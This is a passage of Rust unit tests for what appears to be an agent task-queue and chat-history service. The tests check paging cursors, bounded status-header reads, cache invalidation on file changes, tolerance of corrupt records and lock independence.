26034 assert_eq!(actual.id, expected.id);
26035 assert!(!actual.status.open());
26036 let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
26037 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
26038 let expected = parsed + if cfg!(unix) { 0 } else { 1002 };
26041 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
26042 }
26043 child.followup.as_mut().unwrap().origin_task = Some(parent.id.clone());
26044 ui.queue.put(&mut child).unwrap();
26045 std::fs::remove_file(ui.queue.path_of(&parent.id)).unwrap();
26046 let (tasks, talks, _watches) =
26047 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
26048 assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
26049 child.origin_chat = Some(chat_id.clone());
26050 ui.queue.put(&mut child).unwrap();
26051 let (tasks, talks, _watches) =
26052 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
26053 assert_eq!(
26054 crate::consult::origin_talk(&tasks, &talks, &question)
26055 .unwrap()
26056 .id,
26057 chat_id
26058 );
26059 let revision = question_record_revision(&question);
26060 question.abandon("settled elsewhere");
26061 assert_ne!(revision, question_record_revision(&question));
26062 assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
26063 assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_some());
26064 std::fs::remove_file(ui.talks.path_of(&chat_id)).unwrap();
26065 let (tasks, talks, _watches) =
26066 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
26067 assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_none());
26068 }
26069
26070 #[test]
26071 fn list_cursors_freeze_membership_and_expire_explicitly() {
26072 let home = tempfile::tempdir().unwrap();
26073 let ui = delta_test_ui(home.path());
26074 std::fs::create_dir_all(ui.queue.root()).unwrap();
26075 for i in 0..40 {
26076 std::fs::write(ui.queue.path_of(&format!("record-{i:04}")), "broken").unwrap();
26077 }
26078 let (first, cursor) = page_ids(&ui, false, PageQuery::default()).unwrap();
26079 assert_eq!(first.len(), STORE_PAGE_SIZE);
26080 let cursor = cursor.unwrap();
26081 std::fs::write(ui.queue.path_of("record-9999"), "broken").unwrap();
26082 std::fs::remove_file(ui.queue.path_of(&first[0])).unwrap();
26083 let (second, _) = page_ids(
26084 &ui,
26085 false,
26086 PageQuery {
26087 before: Some(cursor.clone()),
26088 },
26089 )
26090 .unwrap();
26091 assert_eq!(second[0], "record-0023");
26092 assert!(second.iter().all(|id| !first.contains(id)));
26093 assert!(
26094 page_ids(
26095 &ui,
26096 true,
26097 PageQuery {
26098 before: Some(cursor.clone())
26099 }
26100 )
26101 .is_err()
26102 );
26103 let (fresh, _) = page_ids(&ui, false, PageQuery::default()).unwrap();
26104 assert_eq!(fresh[0], "record-9999");
26105 ui.monitor.list_walks.lock().unwrap().clear();
26106 assert!(
26107 page_ids(
26108 &ui,
26109 false,
26110 PageQuery {
26111 before: Some(cursor)
26112 }
26113 )
26114 .is_err()
26115 );
26116 }
26117
26118 #[tokio::test]
26119 async fn talk_pages_load_every_open_then_frozen_closed_history() {
26120 let home = tempfile::tempdir().unwrap();
26121 let ui = delta_test_ui(home.path());
26122 for i in 0..23 {
26124 seed_talk_at(&ui.talks, &format!("20260101-000000-{i:03}"), "open");
26125 }
26126 for i in 0..45 {
26127 seed_talk_at(&ui.talks, &format!("20261019-000000-{i:03}"), "closed");
26128 }
26129 std::fs::write(ui.talks.path_of("20261020-000000-corrupt"), "broken").unwrap();
26130 let first = talks_page(
26131 State(ui.clone()),
26132 Query(PageQuery::default()),
26133 header::HeaderMap::new(),
26134 )
26135 .await
26136 .unwrap()
26137 .0;
26138 assert_eq!(
26139 first.rows.iter().filter(|row| row.status.open()).count(),
26140 23
26141 );
26142 assert_eq!(first.rows.len(), 23 + STORE_PAGE_SIZE - 1);
26143 assert!(first.rows[..23].iter().all(|row| row.status.open()));
26144 let parsed = ui
26145 .monitor
26146 .talk_parses
26147 .load(std::sync::atomic::Ordering::Relaxed);
26148 assert_eq!(
26149 parsed,
26150 first.rows.len(),
26151 "closed bodies outside this page are not restored"
26152 );
26153 let fresh = talks_page(
26154 State(ui.clone()),
26155 Query(PageQuery::default()),
26156 header::HeaderMap::new(),
26157 )
26158 .await
26159 .unwrap()
26160 .0;
26161 assert_eq!(fresh.rows.len(), first.rows.len());
26162 assert_eq!(
26163 ui.monitor
26164 .talk_parses
26165 .load(std::sync::atomic::Ordering::Relaxed),
26166 parsed
26167 );
26168 let mut seen: std::collections::HashSet<_> =
26169 first.rows.iter().map(|row| row.id.clone()).collect();
26170 seed_talk_at(&ui.talks, "20261019-000000-000", "open");
26172 seed_talk_at(&ui.talks, "20260101-000000-000", "closed");
26173 std::fs::remove_file(ui.talks.path_of("20261019-000000-001")).unwrap();
26174 let mut next = first.next;
26175 while let Some(cursor) = next {
26176 let page = talks_page(
26177 State(ui.clone()),
26178 Query(PageQuery {
26179 before: Some(cursor),
26180 }),
26181 header::HeaderMap::new(),
26182 )
26183 .await
26184 .unwrap()
26185 .0;
26186 assert!(page.rows.len() <= STORE_PAGE_SIZE);
26187 for row in page.rows {
26188 assert!(seen.insert(row.id), "a cursor must not repeat membership");
26189 }
26190 next = page.next;
26191 }
26192 let expected: HashSet<_> = (0..23)
26193 .map(|i| format!("20260101-000000-{i:03}"))
26194 .chain(
26195 (0..45)
26196 .filter(|i| *i != 1)
26197 .map(|i| format!("20261019-000000-{i:03}")),
26198 )
26199 .collect();
26200 assert_eq!(
26201 seen, expected,
26202 "the cursor walk must return every surviving ID"
26203 );
26204 let refreshed = talks_page(
26205 State(ui.clone()),
26206 Query(PageQuery::default()),
26207 header::HeaderMap::new(),
26208 )
26209 .await
26210 .unwrap()
26211 .0;
26212 assert_eq!(
26213 refreshed
26214 .rows
26215 .iter()
26216 .filter(|row| row.status.open())
26217 .count(),
26218 23
26219 );
26220 assert!(
26221 refreshed
26222 .rows
26223 .iter()
26224 .any(|row| row.id == "20261019-000000-000")
26225 );
26226 assert!(
26227 !refreshed
26228 .rows
26229 .iter()
26230 .any(|row| row.id == "20260101-000000-000")
26231 );
26232 }
26233
26234 #[test]
26235 fn talk_pages_with_only_open_rows_have_no_history_cursor() {
26236 let home = tempfile::tempdir().unwrap();
26237 let ui = delta_test_ui(home.path());
26238 for i in 0..STORE_PAGE_SIZE + 5 {
26239 seed_talk_at(&ui.talks, &format!("open-{i:03}"), "open");
26240 }
26241 let (ids, next) = page_ids(&ui, true, PageQuery::default()).unwrap();
26242 assert_eq!(ids.len(), STORE_PAGE_SIZE + 5);
26243 assert!(next.is_none());
26244 }
26245
26246 #[test]
26247 fn talk_status_header_reads_are_bounded_independently_of_transcript_size() {
26248 struct Counted<R> {
26249 inner: R,
26250 bytes: usize,
26251 }
26252 impl<R: std::io::Read> std::io::Read for Counted<R> {
26253 fn read(&mut self, buf: &mut [u8]) -> std::io::Result<usize> {
26254 let n = self.inner.read(buf)?;
26255 self.bytes += n;
26256 Ok(n)
26257 }
26258 }
26259 let home = tempfile::tempdir().unwrap();
26260 let ui = delta_test_ui(home.path());
26261 let id = seed_talk_at(&ui.talks, "header-chat", "closed");
26262 let mut chat = ui.talks.get(&id).unwrap();
26263 for size in [0, 1024 * 1024, 8 * 1024 * 1024] {
26264 chat.turns = vec![
26265 serde_json::from_value(serde_json::json!({
26266 "who": "agent", "body": "x".repeat(size), "at": chat.updated_at,
26267 }))
26268 .unwrap(),
26269 ];
26270 for status in [talk::TalkStatus::Closed, talk::TalkStatus::Open] {
26271 chat.status = status;
26272 let body = serde_json::to_vec_pretty(&chat).unwrap();
26274 let mut reader = Counted {
26275 inner: body.as_slice(),
26276 bytes: 0,
26277 };
26278 assert_eq!(read_talk_status(&mut reader), Some(status));
26279 assert!(
26280 reader.bytes <= 1024,
26281 "header classification read {} bytes",
26282 reader.bytes
26283 );
26284 }
26285 }
26286 let noncanonical = format!(
26289 r#"{{"turns":[{{"body":"{}"}}],"status":"open"}}"#,
26290 "x".repeat(1024 * 1024)
26291 );
26292 let mut reader = Counted {
26293 inner: noncanonical.as_bytes(),
26294 bytes: 0,
26295 };
26296 assert_eq!(read_talk_status(&mut reader), Some(talk::TalkStatus::Open));
26297 assert!(reader.bytes <= 1024);
26298 let oversized = format!(
26299 r#"{{"agent":"{}","status":"open"}}"#,
26300 "x".repeat(128 * 1024)
26301 );
26302 let mut reader = Counted {
26303 inner: oversized.as_bytes(),
26304 bytes: 0,
26305 };
26306 assert_eq!(read_talk_status(&mut reader), Some(talk::TalkStatus::Open));
26307 assert!(reader.bytes <= 64 * 1024);
26308 }
26309
26310 #[test]
26311 fn talk_header_classification_does_not_hold_the_queue_cursor_registry() {
26312 let home = tempfile::tempdir().unwrap();
26313 let ui = delta_test_ui(home.path());
26314 seed_talk_at(&ui.talks, "header-chat", "open");
26315 std::fs::create_dir_all(ui.queue.root()).unwrap();
26316 let (started, ready) = std::sync::mpsc::channel();
26317 let (release, wait) = std::sync::mpsc::channel();
26318 let chat_ui = ui.clone();
26319 let scan = std::thread::spawn(move || {
26320 page_ids_with(&chat_ui, true, PageQuery::default(), |ui, ids| {
26321 started.send(()).unwrap();
26322 wait.recv().unwrap();
26323 open_talk_ids(ui, ids)
26324 })
26325 .unwrap()
26326 });
26327 ready.recv_timeout(Duration::from_secs(2)).unwrap();
26328 let (finished, result) = std::sync::mpsc::channel();
26329 let queue = std::thread::spawn(move || {
26330 finished
26331 .send(page_ids(&ui, false, PageQuery::default()).is_ok())
26332 .unwrap();
26333 });
26334 let completed = result.recv_timeout(Duration::from_secs(2));
26335 release.send(()).unwrap();
26337 scan.join().unwrap();
26338 queue.join().unwrap();
26339 assert!(
26340 completed.unwrap(),
26341 "queue paging must not wait for chat header I/O"
26342 );
26343 }
26344
26345 #[test]
26346 fn talk_status_projection_does_not_cache_files_changed_during_read() {
26347 let home = tempfile::tempdir().unwrap();
26348 let ui = delta_test_ui(home.path());
26349 let ids = vec!["changing-chat".to_owned()];
26350 seed_talk_at(&ui.talks, &ids[0], "closed");
26351 assert!(open_talk_ids(&ui, &ids).is_empty());
26352 seed_talk_at(&ui.talks, &ids[0], "open");
26353 let open = open_talk_ids_with(&ui, &ids, cfg!(unix), |path| {
26354 let value: serde_json::Value =
26355 serde_json::from_slice(&std::fs::read(path).unwrap()).unwrap();
26356 seed_talk_at(&ui.talks, &ids[0], "closed");
26358 serde_json::from_value(value["status"].clone()).ok()
26359 });
26360 assert!(open.contains(&ids[0]));
26361 assert!(
26362 ui.monitor
26363 .talk_status_index
26364 .lock()
26365 .unwrap()
26366 .records
26367 .is_empty()
26368 );
26369 assert!(open_talk_ids(&ui, &ids).is_empty());
26370 assert_eq!(ui.monitor.talk_status_index.lock().unwrap().parses, 3);
26371 }
26372
26373 #[test]
26374 fn talk_status_projection_rereads_when_metadata_cannot_prove_identity() {
26375 let home = tempfile::tempdir().unwrap();
26376 let ui = delta_test_ui(home.path());
26377 let ids = vec!["same-stamp-chat".to_owned()];
26378 seed_talk_at(&ui.talks, &ids[0], "open");
26379 ui.monitor.talk_status_index.lock().unwrap().records.insert(
26382 ids[0].clone(),
26383 (
26384 file_identity(&ui.talks.path_of(&ids[0])).unwrap(),
26385 Some(talk::TalkStatus::Closed),
26386 ),
26387 );
26388 let open = open_talk_ids_with(&ui, &ids, false, |path| {
26389 std::fs::File::open(path).ok().and_then(read_talk_status)
26390 });
26391 assert!(
26392 open.contains(&ids[0]),
26393 "an untrusted cache hit must still read the current header"
26394 );
26395 assert!(
26396 ui.monitor
26397 .talk_status_index
26398 .lock()
26399 .unwrap()
26400 .records
26401 .is_empty()
26402 );
26403 seed_talk_at(&ui.talks, &ids[0], "closed");
26404 assert!(
26405 open_talk_ids_with(&ui, &ids, false, |path| {
26406 std::fs::File::open(path).ok().and_then(read_talk_status)
26407 })
26408 .is_empty()
26409 );
26410 let index = ui.monitor.talk_status_index.lock().unwrap();
26411 assert_eq!(index.parses, 2);
26412 assert!(
26413 index.records.is_empty(),
26414 "untrusted fingerprints must never publish cache entries"
26415 );
26416 }
26417
26418 #[test]
26419 fn talk_rows_cache_shrinks_without_reparsing_open_rows() {
26420 let home = tempfile::tempdir().unwrap();
26421 let ui = delta_test_ui(home.path());
26422 let headers = header::HeaderMap::new();
26423 seed_talk_at(&ui.talks, "open-chat", "open");
26424 seed_talk_at(&ui.talks, "closed-chat", "closed");
26425 talk_rows(
26426 &ui,
26427 vec!["open-chat".into(), "closed-chat".into()],
26428 &headers,
26429 );
26430 {
26431 let mut index = ui.monitor.talk_index.lock().unwrap();
26432 let closed = index["closed-chat"].1.clone();
26433 for i in 0..1000 {
26434 index.insert(
26435 format!("cached-closed-{i}"),
26436 (
26437 file_identity(&ui.talks.path_of("closed-chat")).unwrap(),
26438 closed.clone(),
26439 ),
26440 );
26441 }
26442 }
26443 assert_eq!(
26444 talk_rows(&ui, vec!["closed-chat".into()], &headers).len(),
26445 1
26446 );
26447 assert_eq!(ui.monitor.talk_index.lock().unwrap().len(), 2);
26448 assert_eq!(talk_rows(&ui, vec!["open-chat".into()], &headers).len(), 1);
26449 assert_eq!(
26450 ui.monitor
26451 .talk_parses
26452 .load(std::sync::atomic::Ordering::Relaxed),
26453 2
26454 );
26455 {
26456 let mut index = ui.monitor.talk_index.lock().unwrap();
26457 let open = index["open-chat"].1.clone();
26458 for i in 0..1000 {
26459 index.insert(
26460 format!("cached-open-{i}"),
26461 (
26462 file_identity(&ui.talks.path_of("open-chat")).unwrap(),
26463 open.clone(),
26464 ),
26465 );
26466 }
26467 }
26468 assert_eq!(talk_rows(&ui, vec!["open-chat".into()], &headers).len(), 1);
26470 assert_eq!(ui.monitor.talk_index.lock().unwrap().len(), 1);
26471 assert_eq!(
26472 ui.monitor
26473 .talk_parses
26474 .load(std::sync::atomic::Ordering::Relaxed),
26475 2
26476 );
26477 }
26478
26479 #[test]
26480 fn talk_status_projection_reuses_large_indexes_and_prunes_deleted_files() {
26481 let home = tempfile::tempdir().unwrap();
26482 let ui = delta_test_ui(home.path());
26483 std::fs::create_dir_all(ui.talks.root()).unwrap();
26484 let ids: Vec<_> = (0..1050).map(|i| format!("chat-{i:04}")).collect();
26485 for id in &ids {
26486 std::fs::write(
26487 ui.talks.path_of(id),
26488 r#"{"status":"closed","turns":[{"body":"ignored"}]}"#,
26489 )
26490 .unwrap();
26491 }
26492 assert!(open_talk_ids(&ui, &ids).is_empty());
26493 assert_eq!(
26494 ui.monitor.talk_status_index.lock().unwrap().parses,
26495 ids.len()
26496 );
26497 assert!(open_talk_ids(&ui, &ids).is_empty());
26498 let reused = if cfg!(unix) { ids.len() } else { 2 * ids.len() };
26499 assert_eq!(ui.monitor.talk_status_index.lock().unwrap().parses, reused);
26500 std::fs::write(ui.talks.path_of(&ids[0]), r#"{"status":"open"}"#).unwrap();
26501 std::fs::write(ui.talks.path_of(&ids[1]), "broken").unwrap();
26502 assert_eq!(
26503 open_talk_ids(&ui, &ids),
26504 std::collections::HashSet::from([ids[0].clone()])
26505 );
26506 let parsed = ui.monitor.talk_status_index.lock().unwrap().parses;
26507 let refreshed = if cfg!(unix) { 2 } else { ids.len() };
26508 assert_eq!(parsed, reused + refreshed);
26509 open_talk_ids(&ui, &ids);
26510 assert_eq!(
26511 ui.monitor.talk_status_index.lock().unwrap().parses,
26512 parsed + if cfg!(unix) { 0 } else { ids.len() },
26513 "only reliable file identity permits caching, including unreadable rows"
26514 );
26515 std::fs::remove_file(ui.talks.path_of(&ids[0])).unwrap();
26516 assert!(open_talk_ids(&ui, &ids[1..]).is_empty());
26517 assert!(
26518 !ui.monitor
26519 .talk_status_index
26520 .lock()
26521 .unwrap()
26522 .records
26523 .contains_key(&ids[0])
26524 );
26525 assert!(
26526 ui.monitor.talk_index.lock().unwrap().is_empty(),
26527 "classification never caches bodies"
26528 );
26529 }
26530
26531 #[tokio::test]
26532 async fn stats_queue_index_counts_only_fresh_readable_statuses() {
26533 let home = tempfile::tempdir().unwrap();
26534 let ui = delta_test_ui(home.path());
26535 let mut task = Task::new(
26536 "task".into(),
26537 "body".into(),
26538 PathBuf::from("/repo"),
26539 Source::Human,
26540 );
26541 ui.queue.put(&mut task).unwrap();
26542 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
26543 let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
26544 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
26545 let expected = parsed + usize::from(!cfg!(unix));
26546 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
26547 task.status = crate::queue::TaskStatus::Held;
26548 ui.queue.put(&mut task).unwrap();
26549 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
26550 std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
26551 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 0);
26552 ui.queue.put(&mut task).unwrap();
26553 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
26554 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
26555 assert_eq!(stats_queue(State(ui)).await.unwrap().0.held, 0);
26556 }
26557
26558 #[tokio::test]
26559 async fn health_notifications_revision_is_fresh_between_monitor_ticks() {
26560 let home = tempfile::tempdir().unwrap();
26561 let ui = delta_test_ui(home.path());
26562 *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
26563 let before = health(State(ui.clone())).await.unwrap().0;
26564 ui.notices.raise(Notice::warn("task:1", "held")).unwrap();
26565 let after = health(State(ui)).await.unwrap().0;
26566 assert_ne!(before.notifications_rev, after.notifications_rev);
26567 assert_eq!(after.notifications_unread, 1);
26568 }
26569
26570 #[tokio::test]
26571 async fn list_pages_bound_history_and_keep_dependency_evidence() {
26572 let home = tempfile::tempdir().unwrap();
26573 let ui = delta_test_ui(home.path());
26574 let queue = &ui.queue;
26575 let talks = &ui.talks;
26576 for i in 0..1000 {
26577 let id = format!("20261019-{i:06}-page");
26578 let mut task = Task::new(
26579 "task".into(),
26580 "instruction".repeat(100),
26581 PathBuf::from("/repo/magi"),
26582 Source::Human,
26583 );
26584 task.id = id.clone();
26585 if i == 0 {
26586 task.status = crate::queue::TaskStatus::Held;
26587 } else if i == 999 {
26588 task.status = crate::queue::TaskStatus::Blocked;
26589 task.blocked_by = vec!["20261019-000000-page".into()];
26590 }
26591 queue.put(&mut task).unwrap();
26592 seed_talk_at(talks, &id, "closed");
26593 }
26594 let page = serde_json::to_value(
26595 queue_page(State(ui.clone()), Query(PageQuery::default()))
26596 .await
26597 .unwrap()
26598 .0,
26599 )
26600 .unwrap();
26601 assert_eq!(page["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
26602 assert_eq!(page["rows"][0]["id"], "20261019-000999-page");
26603 assert!(
26604 !page["rows"][0]["stuck_roots"]
26605 .as_array()
26606 .unwrap()
26607 .is_empty()
26608 );
26609 let cursor = page["next"].as_str().unwrap();
26610 let last_id = page["rows"].as_array().unwrap().last().unwrap()["id"]
26611 .as_str()
26612 .unwrap();
26613 std::fs::remove_file(queue.path_of(last_id)).unwrap();
26615 let next = serde_json::to_value(
26616 queue_page(
26617 State(ui.clone()),
26618 Query(PageQuery {
26619 before: Some(cursor.into()),
26620 }),
26621 )
26622 .await
26623 .unwrap()
26624 .0,
26625 )
26626 .unwrap();
26627 assert_eq!(next["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
26628 assert!(next["rows"][0]["id"].as_str().unwrap() < last_id);
26629 let chats = serde_json::to_value(
26630 talks_page(
26631 State(ui.clone()),
26632 Query(PageQuery::default()),
26633 header::HeaderMap::new(),
26634 )
26635 .await
26636 .unwrap()
26637 .0,
26638 )
26639 .unwrap();
26640 assert_eq!(chats["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
26641 assert!(chats["rows"][0].get("pending").is_none());
26642 assert!(chats["rows"][0].get("turn_bodies_md").is_none());
26643 let counts = serde_json::to_value(stats_queue(State(ui)).await.unwrap().0).unwrap();
26644 assert_eq!(counts["held"], 1);
26645 assert_eq!(counts["blocked"], 1);
26646 assert_eq!(counts["queued"], 997);
26647 }
26648
26649 #[test]
26650 fn queue_index_observes_external_replacement_deletion_and_corruption() {
26651 let dir = tempfile::tempdir().unwrap();
26652 let ui = delta_test_ui(dir.path());
26653 let mut task = Task::new(
26654 "task".into(),
26655 "body".into(),
26656 PathBuf::from("/repo"),
26657 Source::Human,
26658 );
26659 task.runs = vec!["run-a".into()];
26660 ui.queue.put(&mut task).unwrap();
26661 assert!(ui.find_task_for_run("run-a").unwrap().is_some());
26662 task.runs = vec!["run-b".into()];
26663 let path = ui.queue.path_of(&task.id);
26664 let modified = path.metadata().unwrap().modified().unwrap();
26665 let replacement = path.with_extension("replacement");
26666 let bytes = serde_json::to_vec_pretty(&task).unwrap();
26667 assert_eq!(bytes.len() as u64, path.metadata().unwrap().len());
26668 std::fs::write(&replacement, &bytes).unwrap();
26669 std::fs::File::options()
26670 .write(true)
26671 .open(&replacement)
26672 .unwrap()
26673 .set_times(std::fs::FileTimes::new().set_modified(modified))
26674 .unwrap();
26675 std::fs::rename(&replacement, &path).unwrap();
26676 assert!(ui.find_task_for_run("run-a").unwrap().is_none());
26677 assert!(ui.find_task_for_run("run-b").unwrap().is_some());
26678 std::fs::write(&path, "broken").unwrap();
26679 assert!(ui.find_task_for_run("run-b").is_err());
26680 std::fs::write(&path, bytes).unwrap();
26681 assert!(ui.find_task_for_run("run-b").unwrap().is_some());
26682 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
26683 assert!(ui.find_task_for_run("run-b").unwrap().is_none());
26684 }
26685
26686 #[tokio::test]
26687 async fn conversation_core_is_independent_of_unreadable_related_history() {
26688 let home = tempfile::tempdir().unwrap();
26689 let ui = delta_test_ui(home.path());
26690 let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
26691 std::fs::create_dir_all(ui.queue.root()).unwrap();
26692 std::fs::write(ui.queue.root().join("unreadable.json"), "broken").unwrap();
26693 let Json(core) = talk_core(State(ui.clone()), Path(id.clone()))
26694 .await
26695 .unwrap();
26696 assert_eq!(core.talk.id, id);
26697 assert!(talk_sections(State(ui), Path(id)).await.is_ok());
26698 }
26699
26700 #[test]
26701 fn conversation_core_ignores_worker_store_lock_and_busy_secondary_pool() {
26702 let home = tempfile::tempdir().unwrap();
26703 let ui = delta_test_ui(home.path());
26704 let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
26705 let directory = home.path().join("workers/jobs/abcdef");
26706 std::fs::create_dir_all(&directory).unwrap();
26707 let job = crate::worker::Job {
26708 id: "abcdef".into(),
26709 sequence: 1,
26710 kind: "chat".into(),
26711 key: id.clone(),
26712 payload: serde_json::json!({ "talk": id }),
26713 generation: "test".into(),
26714 version: None,
26715 status: crate::worker::Status::Running,
26716 result: None,
26717 pid: None,
26718 created_at: 0,
26719 finished_at: None,
26720 };
26721 std::fs::write(
26722 directory.join("job.json"),
26723 serde_json::to_vec(&job).unwrap(),
26724 )
26725 .unwrap();
26726 let live = crate::worker::execution_lease_for_test(&directory.join("live.lock"));
26727 let store =
26728 crate::worker::execution_lease_for_test(&home.path().join("workers/store.lock"));
26729 let runtime = tokio::runtime::Builder::new_current_thread()
26730 .enable_all()
26731 .max_blocking_threads(1)
26732 .build()
26733 .unwrap();
26734 runtime.block_on(async {
26735 let (release, held) = std::sync::mpsc::channel();
26736 let (started, ready) = tokio::sync::oneshot::channel();
26737 let occupied = tokio::task::spawn_blocking(move || {
26738 started.send(()).unwrap();
26739 held.recv().unwrap();
26740 });
26741 ready.await.unwrap();
26742 let secondary = tokio::spawn(talk_sections(State(ui.clone()), Path(id.clone())));
26743 let bulk = ui
26744 .monitor
26745 .bulk_slots
26746 .clone()
26747 .acquire_many_owned(2)
26748 .await
26749 .unwrap();
26750 let result = tokio::time::timeout(
26751 Duration::from_secs(2),
26752 talk_core(State(ui.clone()), Path(id.clone())),
26753 )
26754 .await;
26755 drop(store);
26757 drop(bulk);
26758 release.send(()).unwrap();
26759 occupied.await.unwrap();
26760 let _ = secondary.await.unwrap().unwrap();
26761 let Json(core) = result
26762 .expect("transcript must bypass secondary work and the worker store lock")
26763 .unwrap();
26764 assert!(
26765 core.thinking,
26766 "read-only observation retains live worker state"
26767 );
26768 assert_eq!(core.talk.id, id);
26769 let admission_ui = ui.clone();
26770 let (release, held) = std::sync::mpsc::channel();
26771 let (started, ready) = tokio::sync::oneshot::channel();
26772 let admission = std::thread::spawn(move || {
26773 let _lock = admission_ui.talk_turns.lock().unwrap();
26774 started.send(()).unwrap();
26775 held.recv().unwrap();
26776 });
26777 ready.await.unwrap();
26778 let result = tokio::time::timeout(
26779 Duration::from_secs(2),
26780 talk_core(State(ui.clone()), Path(id.clone())),
26781 )
26782 .await;
26783 release.send(()).unwrap();
26784 admission.join().unwrap();
26785 assert!(
26786 result
26787 .expect("display must not wait behind local admission")
26788 .unwrap()
26789 .0
26790 .thinking
26791 );
26792 assert!(ui.is_thinking(&id));
26793 assert!(ui.is_thinking_observed(&id));
26794 drop(live);
26795 assert!(
26796 !ui.is_thinking_observed(&id),
26797 "a finished lease no longer appears live"
26798 );
26799 assert!(!ui.is_thinking(&id));
26800 let _turn = ui.begin_talk_turn(&id).unwrap().unwrap();
26801 assert!(
26802 ui.is_thinking_observed(&id),
26803 "local admission remains visible"
26804 );
26805 });
26806 }
26807
26808 #[tokio::test]
26809 async fn conversation_core_defers_store_links_but_preserves_markdown_and_provenance() {
26810 let home = tempfile::tempdir().unwrap();
26811 let ui = delta_test_ui(home.path());
26812 let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
26813 let mut task = Task::new(
26814 "Referenced task".into(),
26815 "Unrelated instruction history".repeat(1024),
26816 home.path().into(),
26817 Source::Human,
26818 );
26819 task.id = "20261019-000000-abcd".into();
26820 ui.queue.put(&mut task).unwrap();
26821 let mut conversation = ui.talks.get(&id).unwrap();
26822 conversation.turns.push(talk::Turn {
26823 sender: Some(talk::Sender::Persona),
26824 who: talk::Who::Agent,
26825 body: "**Useful transcript** task@abcd and R2-1-3\n\n| Reference |\n| --- |\n| `abcd` |\n\n- task@abcd\n\n```\ntask@abcd\n```".into(),
26826 at: conversation.created_at,
26827 attachments: Vec::new(),
26828 usage: None,
26829 breaks: None,
26830 messages: Vec::new(),
26831 posted_by: None,
26832 });
26833 ui.talks.put(&mut conversation).unwrap();
26834
26835 let Json(core) = talk_core(State(ui.clone()), Path(id)).await.unwrap();
26836 let markdown = serde_json::to_value(&core.turn_bodies_md)
26837 .unwrap()
26838 .to_string();
26839 assert!(markdown.contains("\"strong\""));
26840 assert!(markdown.contains("\"table\""));
26841 assert!(markdown.contains("\"bullet_list\""));
26842 assert!(markdown.contains("\"code_block\""));
26843 assert!(!markdown.contains("\"internal_link\""));
26844 assert_eq!(core.talk.turns[0].sender, Some(talk::Sender::Persona));
26845 assert_eq!(core.talk.turns[0].body, conversation.turns[0].body);
26846 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
26847
26848 let references = ui.references.for_talk(home.path(), &conversation);
26851 let mut decorated = core.turn_bodies_md[0].clone();
26852 references.markdown(&mut decorated);
26853 let decorated = serde_json::to_value(decorated).unwrap().to_string();
26854 assert_eq!(decorated.matches("\"internal_link\"").count(), 3);
26855 assert!(decorated.contains(&format!("#/tasks/{}", task.id)));
26856 assert_eq!(
26857 ui.talks.get(&conversation.id).unwrap().turns[0].body,
26858 conversation.turns[0].body
26859 );
26860 }
26861
26862 #[tokio::test]
26863 async fn unrelated_corrupt_task_does_not_break_run_or_talk_relationships() {
26864 let home = tempfile::tempdir().unwrap();
26865 let ui = delta_test_ui(home.path());
26866 let talk_id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
26867 let mut run = RunState::new(
26868 PathBuf::from("/repo"),
26869 "main".into(),
26870 "01234567".into(),
26871 "Useful run".into(),
26872 Config::default(),
26873 );
26874 run.save_under(home.path()).unwrap();
26875 let mut task = Task::new(
26876 "Related".into(),
26877 "body".into(),
26878 PathBuf::from("/repo"),
26879 Source::Agent {
26880 run: talk_id.clone(),
26881 node: "chat".into(),
26882 },
26883 );
26884 task.runs = vec![run.id.clone()];
26885 ui.queue.put(&mut task).unwrap();
26886 std::fs::write(ui.queue.root().join("unrelated.json"), "broken").unwrap();
26887 assert_eq!(ui.find_task_for_run(&run.id).unwrap().unwrap().id, task.id);
26888 assert_eq!(ui.find_tasks_for_talk(&talk_id).unwrap()[0].id, task.id);
26889 assert!(
26890 run_detail(State(ui.clone()), Path(run.id.clone()))
26891 .await
26892 .is_ok()
26893 );
26894 assert!(
26895 talk_sections(State(ui.clone()), Path(talk_id.clone()))
26896 .await
26897 .is_ok()
26898 );
26899 std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
26901 assert!(ui.find_task_for_run(&run.id).is_err());
26902 assert!(ui.find_tasks_for_talk(&talk_id).is_err());
26903 ui.queue.put(&mut task).unwrap();
26904 assert!(ui.find_task_for_run(&run.id).unwrap().is_some());
26905 }
26906
26907 #[tokio::test]
26908 async fn conversation_sections_omit_large_task_instructions() {
26909 let home = tempfile::tempdir().unwrap();
26910 let ui = delta_test_ui(home.path());
26911 let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
26912 let mut task = Task::new(
26913 "filed task".into(),
26914 "large instruction ".repeat(65536),
26915 PathBuf::from("/repo"),
26916 Source::Agent {
26917 run: id.clone(),
26918 node: "chat".into(),
26919 },
26920 );
26921 ui.queue.put(&mut task).unwrap();
26922 let Json(sections) = talk_sections(State(ui), Path(id)).await.unwrap();
26923 assert_eq!(sections["tasks"][0]["id"], task.id);
